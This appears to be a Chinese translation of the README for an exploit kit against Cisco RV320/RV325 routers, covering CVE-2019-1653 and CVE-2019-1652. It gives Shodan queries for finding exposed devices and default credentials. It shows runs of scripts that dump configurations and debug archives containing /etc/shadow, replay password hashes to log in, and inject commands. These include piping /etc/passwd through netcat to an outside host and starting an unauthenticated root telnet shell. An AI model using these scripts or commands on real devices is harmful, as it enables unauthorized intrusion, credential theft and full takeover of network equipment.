CVE-2019-1653/CVE-2019-1652 用于转储 Cisco RV320 配置并获取 RCE 的漏洞利用
由 Red Team Pentesting GmbH 披露的 CVE-2019-1652 和 CVE-2019-1653 漏洞利用实现。
我仅在 RV320 上测试过,但根据 Cisco 公告,RV325 也存在漏洞。
以下 Shodan 查询语句可用于发现这些设备,如果你好奇有多少设备暴露在外。似乎数量不少...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
这些漏洞允许以下操作:
顺便提一下,默认凭据是 cisco:cisco。
对于配置转储漏洞,只需设置目标、端口、SSL 开关和输出目录。它会将配置转储到该目录。
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
对于调试数据转储漏洞,流程相同,但转储的数据更大且已加密。
你需要使用提供的 decrypt.sh 脚本或手动使用 openssl 进行解密。这将生成一个 tar 文件。
调试输出不仅包含配置,还包括 /etc 和 /var 的备份,当然 /etc/shadow/ 文件也存在。
我以后会用 Python 重写解密脚本,但这只是一个临时的快速方案。
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
使用通过这些文件获取的凭据(哈希值),你可以利用 CVE-2019-1652 在设备上执行命令。
在继续之前,对密码的“哈希”方式做几点说明。在这些设备的配置文件中,你会找到一个名为 PASSWD 的变量,后面跟着一个 md5 哈希值。
这个 md5 哈希是 md5($password.$auth_key),其中 auth_key 是一个静态值,你可以通过 GET / 并解析页面来获取。有一个看似常见的值,我已硬编码到 RCE 漏洞利用中作为备用,以防页面解析器的正则表达式失败。
CVE-2019-1652 描述了一个简单的 shell 命令注入漏洞,需要认证。exec_cmd.py 实现了该漏洞,假设你有有效的登录凭据。"cisco:cisco" 是默认值,但你也可以破解一些哈希值。
命令注入是盲注的,因此你不会得到任何输出。环境是一个极其受限的 Busybox 设置,带有功能受限的 netcat,并且这些设备是 mips64 架构,所以我这次没有编写反向 shell 漏洞利用。不过,你可以通过类似 cat /etc/passwd | nc HOST PORT 的方式获取命令输出,并在此过程中运行一个监听器。
你也可以注入类似 telnetd -l /bin/sh -p 1337 的命令,然后连接到生成的 telnet 服务,这将为你提供一个无需认证的 root shell。
以下是一个漏洞利用的运行示例:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
由于 Cisco 的特性,你实际上可以直接传递提取的哈希值来获取一个已登录的会话。因此我们编写了一个漏洞利用程序来提取哈希值并传递给登录过程。
该程序名为 easy_access.py,因为 CGI 二进制文件的路径中包含一个名为 "EasyAccess" 的文件夹。
以下是 EasyAccess 的运行示例...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
祝攻破愉快。